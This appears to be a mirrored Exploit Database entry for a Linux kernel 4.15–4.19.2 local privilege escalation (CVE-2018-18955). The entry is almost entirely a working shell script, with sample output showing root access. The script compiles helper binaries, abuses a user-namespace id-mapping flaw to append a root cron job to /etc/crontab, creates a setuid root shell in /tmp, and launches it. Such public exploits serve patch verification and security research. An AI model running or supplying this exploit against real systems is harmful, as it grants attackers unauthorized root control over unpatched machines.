Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (cron Method)

• Exploit Database
• 15 阅读

• 作者： bcoles
  日期： 2018-11-21
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/47164/

• #!/bin/sh
  #
  # EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47164.zip
  #
  # wrapper for Jann Horn's exploit for CVE-2018-18955
  # uses crontab technique
  # ---
  # test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.cron.sh
  # [*] Compiling...
  # [*] Writing payload to /tmp/payload...
  # [*] Adding cron job... (wait a minute)
  # [.] starting
  # [.] setting up namespace
  # [~] done, namespace sandbox set up
  # [.] mapping subordinate ids
  # [.] subuid: 165536
  # [.] subgid: 165536
  # [~] done, mapped subordinate ids
  # [.] executing subshell
  # [+] Success:
  # -rwsrwxr-x 1 root root 8384 Nov 21 19:47 /tmp/sh
  # [*] Cleaning up...
  # [!] Remember to clean up /etc/crontab
  # [*] Launching root shell: /tmp/sh
  # root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
  # uid=0(root) gid=0(root) groups=0(root),1001(test)
  
  rootshell="/tmp/sh"
  bootstrap="/tmp/payload"
  
  command_exists() {
  command -v "${1}" >/dev/null 2>/dev/null
  }
  
  if ! command_exists gcc; then
  echo '[-] gcc is not installed'
  exit 1
  fi
  
  if ! command_exists /usr/bin/newuidmap; then
  echo '[-] newuidmap is not installed'
  exit 1
  fi
  
  if ! command_exists /usr/bin/newgidmap; then
  echo '[-] newgidmap is not installed'
  exit 1
  fi
  
  if ! test -w .; then
  echo '[-] working directory is not writable'
  exit 1
  fi
  
  echo "[*] Compiling..."
  
  if ! gcc subuid_shell.c -o subuid_shell; then
  echo 'Compiling subuid_shell.c failed'
  exit 1
  fi
  
  if ! gcc subshell.c -o subshell; then
  echo 'Compiling gcc_subshell.c failed'
  exit 1
  fi
  
  if ! gcc rootshell.c -o "${rootshell}"; then
  echo 'Compiling rootshell.c failed'
  exit 1
  fi
  
  echo "[*] Writing payload to ${bootstrap}..."
  
  echo "#!/bin/sh\n/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}" > $bootstrap
  /bin/chmod +x "${bootstrap}"
  
  echo "[*] Adding cron job... (wait a minute)"
  
  echo "echo '* * * * * root ${bootstrap}' >> /etc/crontab" | ./subuid_shell ./subshell
  sleep 60
  
  if ! test -u "${rootshell}"; then
  echo '[-] Failed'
  /bin/rm "${rootshell}"
  /bin/rm "${bootstrap}"
  exit 1
  fi
  
  echo '[+] Success:'
  ls -la "${rootshell}"
  
  echo '[*] Cleaning up...'
  /bin/rm "${bootstrap}"
  /bin/rm subuid_shell
  /bin/rm subshell
  if command_exists /bin/sed; then
  echo "/bin/sed -i '\$ d' /etc/crontab" | $rootshell
  else
  echo "[!] Manual clean up of /etc/crontab required"
  fi
  
  echo "[*] Launching root shell: ${rootshell}"
  $rootshell